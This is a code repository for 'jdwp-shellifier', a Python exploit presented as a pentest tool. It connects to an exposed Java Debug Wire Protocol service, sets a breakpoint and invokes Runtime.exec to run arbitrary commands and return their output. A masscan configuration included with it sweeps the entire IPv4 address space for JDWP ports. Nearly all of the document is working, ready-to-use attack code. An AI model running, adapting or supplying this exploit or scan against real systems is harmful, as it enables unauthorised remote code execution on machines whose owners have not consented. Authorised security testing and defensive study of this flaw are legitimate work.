├── LICENSE ├── README.md ├── jdwp-masscan.cfg ├── jdwp-shellifier.py └── result.png /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2012-2017 IOActive 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # JDWP exploitation script 2 | 3 | ## What is it ? 4 | This exploitation script is meant to be used by pentesters against active JDWP service, in order to gain Remote Code Execution. 5 | 6 | ## How does it work ? 7 | Well, in a pretty standard way, the script only requires a Python 2 interpreter: 8 | 9 | % python ./jdwp-shellifier.py -h 10 | usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD] 11 | [--cmd COMMAND] 12 | 13 | Universal exploitation script for JDWP by @_hugsy_ 14 | 15 | optional arguments: 16 | -h, --help show this help message and exit 17 | -t IP, --target IP Remote target IP (default: None) 18 | -p PORT, --port PORT Remote target port (default: 8000) 19 | --break-on JAVA_METHOD 20 | Specify full path to method to break on (default: 21 | java.net.ServerSocket.accept) 22 | --cmd COMMAND Specify full path to method to break on (default: 23 | None) 24 | 25 | ## What is new ? 26 | Specify `java.lang.String.indexOf` method to break on and echo the command execution result: 27 | 28 | $ python2 jdwp-shellifier.py -t 192.168.182.130 -p 8000 --break-on "java.lang.String.indexOf" --cmd "whoami" 29 | 30 | ![](./result.png) 31 | -------------------------------------------------------------------------------- /jdwp-masscan.cfg: -------------------------------------------------------------------------------- 1 | rate = 200000.00 2 | randomize-hosts = true 3 | banners = true 4 | output-format = binary 5 | output-filename = jdwp-scan.bin 6 | rotate = 0 7 | rotate-dir = . 8 | rotate-offset = 0 9 | rotate-filesize = 0 10 | 11 | range = 0.0.0.0-255.255.255.255 12 | ports = 3999,5000,5005,8000,8453,8787-8788,9001,18000 13 | excludefile = exclude.txt 14 | 15 | capture = cert 16 | nocapture = html 17 | 18 | min-packet = 60 19 | hello-string[0] = SkRXUC1IQU5EU0hBS0U= 20 | -------------------------------------------------------------------------------- /jdwp-shellifier.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | ################################################################################ 3 | # 4 | # Universal JDWP shellifier 5 | # 6 | # @_hugsy_ 7 | # 8 | # And special cheers to @lanjelot 9 | # 10 | 11 | import socket 12 | import time 13 | import sys 14 | import struct 15 | import urllib 16 | import argparse 17 | 18 | 19 | 20 | ################################################################################ 21 | # 22 | # JDWP protocol variables 23 | # 24 | HANDSHAKE = "JDWP-Handshake" 25 | 26 | REQUEST_PACKET_TYPE = 0x00 27 | REPLY_PACKET_TYPE = 0x80 28 | 29 | # Command signatures 30 | VERSION_SIG = (1, 1) 31 | CLASSESBYSIGNATURE_SIG = (1, 2) 32 | ALLCLASSES_SIG = (1, 3) 33 | ALLTHREADS_SIG = (1, 4) 34 | IDSIZES_SIG = (1, 7) 35 | CREATESTRING_SIG = (1, 11) 36 | SUSPENDVM_SIG = (1, 8) 37 | RESUMEVM_SIG = (1, 9) 38 | SIGNATURE_SIG = (2, 1) 39 | FIELDS_SIG = (2, 4) 40 | METHODS_SIG = (2, 5) 41 | GETVALUES_SIG = (2, 6) 42 | CLASSOBJECT_SIG = (2, 11) 43 | INVOKESTATICMETHOD_SIG = (3, 3) 44 | REFERENCETYPE_SIG = (9, 1) 45 | INVOKEMETHOD_SIG = (9, 6) 46 | STRINGVALUE_SIG = (10, 1) 47 | THREADNAME_SIG = (11, 1) 48 | THREADSUSPEND_SIG = (11, 2) 49 | THREADRESUME_SIG = (11, 3) 50 | THREADSTATUS_SIG = (11, 4) 51 | EVENTSET_SIG = (15, 1) 52 | EVENTCLEAR_SIG = (15, 2) 53 | EVENTCLEARALL_SIG = (15, 3) 54 | 55 | NEWINSTANCE_SIG = (3, 4) 56 | 57 | # Other codes 58 | MODKIND_COUNT = 1 59 | MODKIND_THREADONLY = 2 60 | MODKIND_CLASSMATCH = 5 61 | MODKIND_LOCATIONONLY = 7 62 | EVENT_BREAKPOINT = 2 63 | SUSPEND_EVENTTHREAD = 1 64 | SUSPEND_ALL = 2 65 | NOT_IMPLEMENTED = 99 66 | VM_DEAD = 112 67 | INVOKE_SINGLE_THREADED = 2 68 | TAG_OBJECT = 76 69 | TAG_STRING = 115 70 | TYPE_CLASS = 1 71 | 72 | 73 | ################################################################################ 74 | # 75 | # JDWP client class 76 | # 77 | class JDWPClient: 78 | 79 | def __init__(self, host, port=8000): 80 | self.host = host 81 | self.port = port 82 | self.methods = {} 83 | self.fields = {} 84 | self.id = 0x01 85 | return 86 | 87 | def create_packet(self, cmdsig, data=""): 88 | flags = 0x00 89 | cmdset, cmd = cmdsig 90 | pktlen = len(data) + 11 91 | pkt = struct.pack(">IIccc", pktlen, self.id, chr(flags), chr(cmdset), chr(cmd)) 92 | pkt+= data 93 | self.id += 2 94 | return pkt 95 | 96 | def read_reply(self): 97 | header = self.socket.recv(11) 98 | pktlen, id, flags, errcode = struct.unpack(">IIcH", header) 99 | 100 | if flags == chr(REPLY_PACKET_TYPE): 101 | if errcode : 102 | raise Exception("Received errcode %d" % errcode) 103 | 104 | buf = "" 105 | while len(buf) + 11 < pktlen: 106 | data = self.socket.recv(1024) 107 | if len(data): 108 | buf += data 109 | else: 110 | time.sleep(1) 111 | return buf 112 | 113 | def parse_entries(self, buf, formats, explicit=True): 114 | entries = [] 115 | index = 0 116 | 117 | 118 | if explicit: 119 | nb_entries = struct.unpack(">I", buf[:4])[0] 120 | buf = buf[4:] 121 | else: 122 | nb_entries = 1 123 | 124 | for i in range(nb_entries): 125 | data = {} 126 | for fmt, name in formats: 127 | if fmt == "L" or fmt == 8: 128 | data[name] = int(struct.unpack(">Q",buf[index:index+8]) [0]) 129 | index += 8 130 | elif fmt == "I" or fmt == 4: 131 | data[name] = int(struct.unpack(">I", buf[index:index+4])[0]) 132 | index += 4 133 | elif fmt == 'S': 134 | l = struct.unpack(">I", buf[index:index+4])[0] 135 | data[name] = buf[index+4:index+4+l] 136 | index += 4+l 137 | elif fmt == 'C': 138 | data[name] = ord(struct.unpack(">c", buf[index])[0]) 139 | index += 1 140 | elif fmt == 'Z': 141 | t = ord(struct.unpack(">c", buf[index])[0]) 142 | if t == 115: 143 | s = self.solve_string(buf[index+1:index+9]) 144 | data[name] = s 145 | index+=9 146 | elif t == 73: 147 | data[name] = struct.unpack(">I", buf[index+1:index+5])[0] 148 | buf = struct.unpack(">I", buf[index+5:index+9]) 149 | index=0 150 | 151 | else: 152 | print "Error" 153 | sys.exit(1) 154 | 155 | entries.append( data ) 156 | 157 | return entries 158 | 159 | def format(self, fmt, value): 160 | if fmt == "L" or fmt == 8: 161 | return struct.pack(">Q", value) 162 | elif fmt == "I" or fmt == 4: 163 | return struct.pack(">I", value) 164 | 165 | raise Exception("Unknown format") 166 | 167 | def unformat(self, fmt, value): 168 | if fmt == "L" or fmt == 8: 169 | return struct.unpack(">Q", value[:8])[0] 170 | elif fmt == "I" or fmt == 4: 171 | return struct.unpack(">I", value[:4])[0] 172 | else: 173 | raise Exception("Unknown format") 174 | return 175 | 176 | def start(self): 177 | self.handshake(self.host, self.port) 178 | self.idsizes() 179 | self.getversion() 180 | self.allclasses() 181 | return 182 | 183 | def handshake(self, host, port): 184 | s = socket.socket() 185 | try: 186 | s.connect( (host, port) ) 187 | except socket.error as msg: 188 | raise Exception("Failed to connect: %s" % msg) 189 | 190 | s.send( HANDSHAKE ) 191 | 192 | if s.recv( len(HANDSHAKE) ) != HANDSHAKE: 193 | raise Exception("Failed to handshake") 194 | else: 195 | self.socket = s 196 | 197 | return 198 | 199 | def leave(self): 200 | self.socket.close() 201 | return 202 | 203 | def getversion(self): 204 | # VERSION_SIG = (1, 1) 205 | self.socket.sendall( self.create_packet(VERSION_SIG) ) 206 | buf = self.read_reply() 207 | formats = [ ('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"), 208 | ('S', "vmVersion"), ('S', "vmName"), ] 209 | for entry in self.parse_entries(buf, formats, False): 210 | for name,value in entry.iteritems(): 211 | setattr(self, name, value) 212 | return 213 | 214 | @property 215 | def version(self): 216 | return "%s - %s" % (self.vmName, self.vmVersion) 217 | 218 | def idsizes(self): 219 | # IDSIZES_SIG = (1, 7) 220 | self.socket.sendall( self.create_packet(IDSIZES_SIG) ) 221 | buf = self.read_reply() 222 | formats = [ ("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"), 223 | ("I", "referenceTypeIDSize"), ("I", "frameIDSize") ] 224 | for entry in self.parse_entries(buf, formats, False): 225 | for name,value in entry.iteritems(): 226 | setattr(self, name, value) 227 | return 228 | 229 | def allthreads(self): 230 | try: 231 | getattr(self, "threads") 232 | except : 233 | self.socket.sendall( self.create_packet(ALLTHREADS_SIG) ) 234 | buf = self.read_reply() 235 | formats = [ (self.objectIDSize, "threadId")] 236 | self.threads = self.parse_entries(buf, formats) 237 | finally: 238 | return self.threads 239 | 240 | def get_thread_by_name(self, name): 241 | self.allthreads() 242 | for t in self.threads: 243 | threadId = self.format(self.objectIDSize, t["threadId"]) 244 | self.socket.sendall( self.create_packet(THREADNAME_SIG, data=threadId) ) 245 | buf = self.read_reply() 246 | if len(buf) and name == self.readstring(buf): 247 | return t 248 | return None 249 | 250 | def allclasses(self): 251 | try: 252 | getattr(self, "classes") 253 | except: 254 | # ALLCLASSES_SIG = (1, 3) 255 | self.socket.sendall( self.create_packet(ALLCLASSES_SIG) ) 256 | buf = self.read_reply() 257 | formats = [ ('C', "refTypeTag"), 258 | (self.referenceTypeIDSize, "refTypeId"), 259 | ('S', "signature"), 260 | ('I', "status")] 261 | self.classes = self.parse_entries(buf, formats) 262 | 263 | return self.classes 264 | 265 | def get_class_by_name(self, name): 266 | for entry in self.classes: 267 | if entry["signature"].lower() == name.lower() : 268 | return entry 269 | return None 270 | 271 | def get_methods(self, refTypeId): 272 | if not self.methods.has_key(refTypeId): 273 | refId = self.format(self.referenceTypeIDSize, refTypeId) 274 | self.socket.sendall( self.create_packet(METHODS_SIG, data=refId) ) 275 | buf = self.read_reply() 276 | formats = [ (self.methodIDSize, "methodId"), 277 | ('S', "name"), 278 | ('S', "signature"), 279 | ('I', "modBits")] 280 | self.methods[refTypeId] = self.parse_entries(buf, formats) 281 | return self.methods[refTypeId] 282 | 283 | def get_method_by_name(self, name): 284 | for refId in self.methods.keys(): 285 | for entry in self.methods[refId]: 286 | if entry["name"].lower() == name.lower() : 287 | return entry 288 | return None 289 | 290 | def get_method_by_signature(self, refTypeId, signature): 291 | for method in self.methods[refTypeId]: 292 | if method['signature'] == signature: 293 | return method 294 | return None 295 | 296 | def getfields(self, refTypeId): 297 | if not self.fields.has_key( refTypeId ): 298 | refId = self.format(self.referenceTypeIDSize, refTypeId) 299 | self.socket.sendall( self.create_packet(FIELDS_SIG, data=refId) ) 300 | buf = self.read_reply() 301 | formats = [ (self.fieldIDSize, "fieldId"), 302 | ('S', "name"), 303 | ('S', "signature"), 304 | ('I', "modbits")] 305 | self.fields[refTypeId] = self.parse_entries(buf, formats) 306 | return self.fields[refTypeId] 307 | 308 | def getvalue(self, refTypeId, fieldId): 309 | data = self.format(self.referenceTypeIDSize, refTypeId) 310 | data+= struct.pack(">I", 1) 311 | data+= self.format(self.fieldIDSize, fieldId) 312 | self.socket.sendall( self.create_packet(GETVALUES_SIG, data=data) ) 313 | buf = self.read_reply() 314 | formats = [ ("Z", "value") ] 315 | field = self.parse_entries(buf, formats)[0] 316 | return field 317 | 318 | def createstring(self, data): 319 | buf = self.buildstring(data) 320 | self.socket.sendall( self.create_packet(CREATESTRING_SIG, data=buf) ) 321 | buf = self.read_reply() 322 | return self.parse_entries(buf, [(self.objectIDSize, "objId")], False) 323 | 324 | def buildstring(self, data): 325 | return struct.pack(">I", len(data)) + data 326 | 327 | def readstring(self, data): 328 | size = struct.unpack(">I", data[:4])[0] 329 | return data[4:4+size] 330 | 331 | def suspendvm(self): 332 | self.socket.sendall( self.create_packet( SUSPENDVM_SIG ) ) 333 | self.read_reply() 334 | return 335 | 336 | def resumevm(self): 337 | self.socket.sendall( self.create_packet( RESUMEVM_SIG ) ) 338 | self.read_reply() 339 | return 340 | 341 | def invokestatic(self, classId, threadId, methId, *args): 342 | data = self.format(self.referenceTypeIDSize, classId) 343 | data+= self.format(self.objectIDSize, threadId) 344 | data+= self.format(self.methodIDSize, methId) 345 | data+= struct.pack(">I", len(args)) 346 | for arg in args: 347 | data+= arg 348 | data+= struct.pack(">I", 0) 349 | 350 | self.socket.sendall( self.create_packet(INVOKESTATICMETHOD_SIG, data=data) ) 351 | buf = self.read_reply() 352 | return buf 353 | 354 | def newInstance(self, classId, threadId, methId, *args): 355 | data = self.format(self.referenceTypeIDSize, classId) 356 | data+= self.format(self.objectIDSize, threadId) 357 | data+= self.format(self.methodIDSize, methId) 358 | data+= struct.pack(">I", len(args)) 359 | for arg in args: 360 | data+= arg 361 | data+= struct.pack(">I", 0) 362 | 363 | self.socket.sendall( self.create_packet(NEWINSTANCE_SIG, data=data) ) 364 | buf = self.read_reply() 365 | return buf 366 | 367 | def invoke(self, objId, threadId, classId, methId, *args): 368 | data = self.format(self.objectIDSize, objId) 369 | data+= self.format(self.objectIDSize, threadId) 370 | data+= self.format(self.referenceTypeIDSize, classId) 371 | data+= self.format(self.methodIDSize, methId) 372 | data+= struct.pack(">I", len(args)) 373 | for arg in args: 374 | data+= arg 375 | data+= struct.pack(">I", 0) 376 | 377 | self.socket.sendall( self.create_packet(INVOKEMETHOD_SIG, data=data) ) 378 | buf = self.read_reply() 379 | return buf 380 | 381 | def solve_string(self, objId): 382 | self.socket.sendall( self.create_packet(STRINGVALUE_SIG, data=objId) ) 383 | buf = self.read_reply() 384 | if len(buf): 385 | return self.readstring(buf) 386 | else: 387 | return "" 388 | 389 | def query_thread(self, threadId, kind): 390 | data = self.format(self.objectIDSize, threadId) 391 | self.socket.sendall( self.create_packet(kind, data=data) ) 392 | buf = self.read_reply() 393 | return 394 | 395 | def suspend_thread(self, threadId): 396 | return self.query_thread(threadId, THREADSUSPEND_SIG) 397 | 398 | def status_thread(self, threadId): 399 | return self.query_thread(threadId, THREADSTATUS_SIG) 400 | 401 | def resume_thread(self, threadId): 402 | return self.query_thread(threadId, THREADRESUME_SIG) 403 | 404 | def send_event(self, eventCode, *args): 405 | data = "" 406 | data+= chr( eventCode ) 407 | data+= chr( SUSPEND_ALL ) 408 | data+= struct.pack(">I", len(args)) 409 | 410 | for kind, option in args: 411 | data+= chr( kind ) 412 | data+= option 413 | 414 | self.socket.sendall( self.create_packet(EVENTSET_SIG, data=data) ) 415 | buf = self.read_reply() 416 | return struct.unpack(">I", buf)[0] 417 | 418 | def clear_event(self, eventCode, rId): 419 | data = chr(eventCode) 420 | data+= struct.pack(">I", rId) 421 | self.socket.sendall( self.create_packet(EVENTCLEAR_SIG, data=data) ) 422 | self.read_reply() 423 | return 424 | 425 | def clear_events(self): 426 | self.socket.sendall( self.create_packet(EVENTCLEARALL_SIG) ) 427 | self.read_reply() 428 | return 429 | 430 | def wait_for_event(self): 431 | buf = self.read_reply() 432 | return buf 433 | 434 | def parse_event_breakpoint(self, buf, eventId): 435 | num = struct.unpack(">I", buf[2:6])[0] 436 | rId = struct.unpack(">I", buf[6:10])[0] 437 | if rId != eventId: 438 | return None 439 | tId = self.unformat(self.objectIDSize, buf[10:10+self.objectIDSize]) 440 | loc = -1 # don't care 441 | return rId, tId, loc 442 | 443 | 444 | def runtime_exec(jdwp, args): 445 | print ("[+] Targeting '%s:%d'" % (args.target, args.port)) 446 | print ("[+] Reading settings for '%s'" % jdwp.version) 447 | 448 | # 1. get Runtime class reference 449 | runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;") 450 | if runtimeClass is None: 451 | print ("[-] Cannot find class Runtime") 452 | return False 453 | print ("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"]) 454 | 455 | # 2. get getRuntime() meth reference 456 | jdwp.get_methods(runtimeClass["refTypeId"]) 457 | getRuntimeMeth = jdwp.get_method_by_name("getRuntime") 458 | if getRuntimeMeth is None: 459 | print ("[-] Cannot find method Runtime.getRuntime()") 460 | return False 461 | print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"]) 462 | 463 | # 3. setup breakpoint on frequently called method 464 | c = jdwp.get_class_by_name( args.break_on_class ) 465 | if c is None: 466 | print("[-] Could not access class '%s'" % args.break_on_class) 467 | print("[-] It is possible that this class is not used by application") 468 | print("[-] Test with another one with option `--break-on`") 469 | return False 470 | 471 | jdwp.get_methods( c["refTypeId"] ) 472 | m = jdwp.get_method_by_name( args.break_on_method ) 473 | if m is None: 474 | print("[-] Could not access method '%s'" % args.break_on) 475 | return False 476 | 477 | loc = chr( TYPE_CLASS ) 478 | loc+= jdwp.format( jdwp.referenceTypeIDSize, c["refTypeId"] ) 479 | loc+= jdwp.format( jdwp.methodIDSize, m["methodId"] ) 480 | loc+= struct.pack(">II", 0, 0) 481 | data = [ (MODKIND_LOCATIONONLY, loc), ] 482 | rId = jdwp.send_event( EVENT_BREAKPOINT, *data ) 483 | print ("[+] Created break event id=%x" % rId) 484 | 485 | # 4. resume vm and wait for event 486 | jdwp.resumevm() 487 | 488 | print ("[+] Waiting for an event on '%s'" % args.break_on) 489 | while True: 490 | buf = jdwp.wait_for_event() 491 | ret = jdwp.parse_event_breakpoint(buf, rId) 492 | if ret is not None: 493 | break 494 | 495 | rId, tId, loc = ret 496 | print ("[+] Received matching event from thread %#x" % tId) 497 | 498 | jdwp.clear_event(EVENT_BREAKPOINT, rId) 499 | 500 | # 5. Now we can execute any code 501 | if args.cmd: 502 | runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd) 503 | else: 504 | # by default, only prints out few system properties 505 | runtime_exec_info(jdwp, tId) 506 | 507 | jdwp.resumevm() 508 | 509 | print ("[!] Command successfully executed") 510 | 511 | return True 512 | 513 | 514 | def runtime_exec_info(jdwp, threadId): 515 | # 516 | # This function calls java.lang.System.getProperties() and 517 | # displays OS properties (non-intrusive) 518 | # 519 | properties = {"java.version": "Java Runtime Environment version", 520 | "java.vendor": "Java Runtime Environment vendor", 521 | "java.vendor.url": "Java vendor URL", 522 | "java.home": "Java installation directory", 523 | "java.vm.specification.version": "Java Virtual Machine specification version", 524 | "java.vm.specification.vendor": "Java Virtual Machine specification vendor", 525 | "java.vm.specification.name": "Java Virtual Machine specification name", 526 | "java.vm.version": "Java Virtual Machine implementation version", 527 | "java.vm.vendor": "Java Virtual Machine implementation vendor", 528 | "java.vm.name": "Java Virtual Machine implementation name", 529 | "java.specification.version": "Java Runtime Environment specification version", 530 | "java.specification.vendor": "Java Runtime Environment specification vendor", 531 | "java.specification.name": "Java Runtime Environment specification name", 532 | "java.class.version": "Java class format version number", 533 | "java.class.path": "Java class path", 534 | "java.library.path": "List of paths to search when loading libraries", 535 | "java.io.tmpdir": "Default temp file path", 536 | "java.compiler": "Name of JIT compiler to use", 537 | "java.ext.dirs": "Path of extension directory or directories", 538 | "os.name": "Operating system name", 539 | "os.arch": "Operating system architecture", 540 | "os.version": "Operating system version", 541 | "file.separator": "File separator", 542 | "path.separator": "Path separator", 543 | "user.name": "User's account name", 544 | "user.home": "User's home directory", 545 | "user.dir": "User's current working directory" 546 | } 547 | 548 | systemClass = jdwp.get_class_by_name("Ljava/lang/System;") 549 | if systemClass is None: 550 | print ("[-] Cannot find class java.lang.System") 551 | return False 552 | 553 | jdwp.get_methods(systemClass["refTypeId"]) 554 | getPropertyMeth = jdwp.get_method_by_name("getProperty") 555 | if getPropertyMeth is None: 556 | print ("[-] Cannot find method System.getProperty()") 557 | return False 558 | 559 | for propStr, propDesc in properties.iteritems(): 560 | propObjIds = jdwp.createstring(propStr) 561 | if len(propObjIds) == 0: 562 | print ("[-] Failed to allocate command") 563 | return False 564 | propObjId = propObjIds[0]["objId"] 565 | 566 | data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, propObjId), ] 567 | buf = jdwp.invokestatic(systemClass["refTypeId"], 568 | threadId, 569 | getPropertyMeth["methodId"], 570 | *data) 571 | if buf[0] != chr(TAG_STRING): 572 | print ("[-] %s: Unexpected returned type: expecting String" % propStr) 573 | else: 574 | retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) 575 | res = cli.solve_string(jdwp.format(jdwp.objectIDSize, retId)) 576 | print ("[+] Found %s '%s'" % (propDesc, res)) 577 | 578 | return True 579 | 580 | 581 | def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command): 582 | # 583 | # This function will invoke command as a payload, which will be running 584 | # with JVM privilege on host (intrusive). 585 | # 586 | print ("[+] Selected payload '%s'" % command) 587 | 588 | # 1. allocating string containing our command to exec() 589 | cmdObjIds = jdwp.createstring( command ) 590 | if len(cmdObjIds) == 0: 591 | print ("[-] Failed to allocate command") 592 | return False 593 | cmdObjId = cmdObjIds[0]["objId"] 594 | print ("[+] Command string object created id:%x" % cmdObjId) 595 | 596 | # 2. use context to get Runtime object 597 | buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId) 598 | if buf[0] != chr(TAG_OBJECT): 599 | print ("[-] Unexpected returned type: expecting Object") 600 | return False 601 | rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) 602 | 603 | if rt is None: 604 | print "[-] Failed to invoke Runtime.getRuntime()" 605 | return False 606 | print ("[+] Runtime.getRuntime() returned context id:%#x" % rt) 607 | 608 | # 3. find exec() method 609 | execMeth = jdwp.get_method_by_name("exec") 610 | if execMeth is None: 611 | print ("[-] Cannot find method Runtime.exec()") 612 | return False 613 | print ("[+] found Runtime.exec(): id=%x" % execMeth["methodId"]) 614 | 615 | # 4. call exec() in this context with the alloc-ed string 616 | data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId) ] 617 | buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data) 618 | if buf[0] != chr(TAG_OBJECT): 619 | print ("[-] Unexpected returned type: expecting Object") 620 | return False 621 | 622 | retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) 623 | if not retId: 624 | print ("[-] Runtime.exec() failed! ") 625 | return False 626 | 627 | print ("[+] Runtime.exec() successful, retId=%x" % retId) 628 | echo_command_result(jdwp, threadId, retId) 629 | return True 630 | 631 | def echo_command_result(jdwp, threadId, retId): 632 | processClass = jdwp.get_class_by_name("Ljava/lang/Process;") 633 | if processClass is None: 634 | print ("[-] Cannot find class Process") 635 | return False 636 | print ("[+] Found Process class: id=%x" % processClass["refTypeId"]) 637 | 638 | jdwp.get_methods(processClass["refTypeId"]) 639 | getInputStreamMethod = jdwp.get_method_by_name("getInputStream") 640 | if getInputStreamMethod is None: 641 | print ("[-] Cannot find method Process.getInputStream()") 642 | return False 643 | print ("[+] Found Process.getInputStream(): id=%x" % getInputStreamMethod["methodId"]) 644 | 645 | data = [] 646 | buf = jdwp.invoke(retId, threadId, processClass["refTypeId"], getInputStreamMethod["methodId"], *data) 647 | if buf[0] != chr(TAG_OBJECT): 648 | print ("[-] Unexpected returned type: expecting Object") 649 | return False 650 | 651 | inputStreamId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) 652 | 653 | inputStreamReader = jdwp.get_class_by_name("Ljava/io/InputStreamReader;") 654 | jdwp.get_methods(inputStreamReader["refTypeId"]) 655 | 656 | inputStreamReaderMethod = jdwp.get_method_by_signature(inputStreamReader["refTypeId"], "(Ljava/io/InputStream;)V") 657 | if inputStreamReaderMethod is None: 658 | print ("[-] Cannot find InputStreamReader constructor method") 659 | return False 660 | 661 | data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, inputStreamId) ] 662 | buf = jdwp.newInstance(inputStreamReader["refTypeId"], threadId, inputStreamReaderMethod["methodId"], *data) 663 | 664 | if buf[0] != chr(TAG_OBJECT): 665 | print ("[-] Unexpected returned type: expecting Object") 666 | return False 667 | 668 | isrId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) 669 | print ("[+] InputStreamReader Object Id=%x" % isrId) 670 | 671 | bufferedReader = jdwp.get_class_by_name("Ljava/io/BufferedReader;") 672 | jdwp.get_methods(bufferedReader["refTypeId"]) 673 | 674 | bufferedReaderMethod = jdwp.get_method_by_signature(bufferedReader["refTypeId"], "(Ljava/io/Reader;)V") 675 | if bufferedReaderMethod is None: 676 | print ("[-] Cannot find BufferedReader constructor method") 677 | return False 678 | 679 | data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, isrId) ] 680 | buf = jdwp.newInstance(bufferedReader["refTypeId"], threadId, bufferedReaderMethod["methodId"], *data) 681 | 682 | if buf[0] != chr(TAG_OBJECT): 683 | print ("[-] Unexpected returned type: expecting Object") 684 | return False 685 | 686 | brId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) 687 | print ("[+] bufferedReader Object Id=%x" % brId) 688 | 689 | readlineMethod = jdwp.get_method_by_signature(bufferedReader["refTypeId"], "()Ljava/lang/String;") 690 | if readlineMethod is None: 691 | print ("[-] Cannot find method BufferedReader.readline()") 692 | return False 693 | print ("[+] Found readline method Id=%x" % readlineMethod["methodId"]) 694 | 695 | print ("[+] Output command execution result start: \n") 696 | while True: 697 | data = [] 698 | buf = jdwp.invoke(brId, threadId, bufferedReader["refTypeId"], readlineMethod["methodId"], *data) 699 | if buf[0] != chr(TAG_STRING): 700 | print ("\n[+] Output command execution result complete.") 701 | break 702 | else: 703 | retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) 704 | res = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, retId)) 705 | print (" %s" % res.decode("utf-8")) 706 | 707 | return True 708 | 709 | 710 | def str2fqclass(s): 711 | i = s.rfind('.') 712 | if i == -1: 713 | print("Cannot parse path") 714 | sys.exit(1) 715 | 716 | method = s[i:][1:] 717 | classname = 'L' + s[:i].replace('.', '/') + ';' 718 | return classname, method 719 | 720 | 721 | if __name__ == "__main__": 722 | parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @_hugsy_", 723 | formatter_class=argparse.ArgumentDefaultsHelpFormatter ) 724 | 725 | parser.add_argument("-t", "--target", type=str, metavar="IP", help="Remote target IP", required=True) 726 | parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port") 727 | 728 | parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD", 729 | default="java.net.ServerSocket.accept", help="Specify full path to method to break on") 730 | parser.add_argument("--cmd", dest="cmd", type=str, metavar="COMMAND", 731 | help="Specify command to execute remotely") 732 | 733 | args = parser.parse_args() 734 | 735 | classname, meth = str2fqclass(args.break_on) 736 | setattr(args, "break_on_class", classname) 737 | setattr(args, "break_on_method", meth) 738 | 739 | retcode = 0 740 | 741 | try: 742 | cli = JDWPClient(args.target, args.port) 743 | cli.start() 744 | 745 | if runtime_exec(cli, args) == False: 746 | print ("[-] Exploit failed") 747 | retcode = 1 748 | 749 | except KeyboardInterrupt: 750 | print ("[+] Exiting on user's request") 751 | 752 | except Exception as e: 753 | print ("[-] Exception: %s" % e) 754 | retcode = 1 755 | cli = None 756 | 757 | finally: 758 | if cli: 759 | cli.leave() 760 | 761 | sys.exit(retcode) 762 | -------------------------------------------------------------------------------- /result.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3change/jdwp-shellifier/602218a02413880076d67726d3bc604835c940e0/result.png --------------------------------------------------------------------------------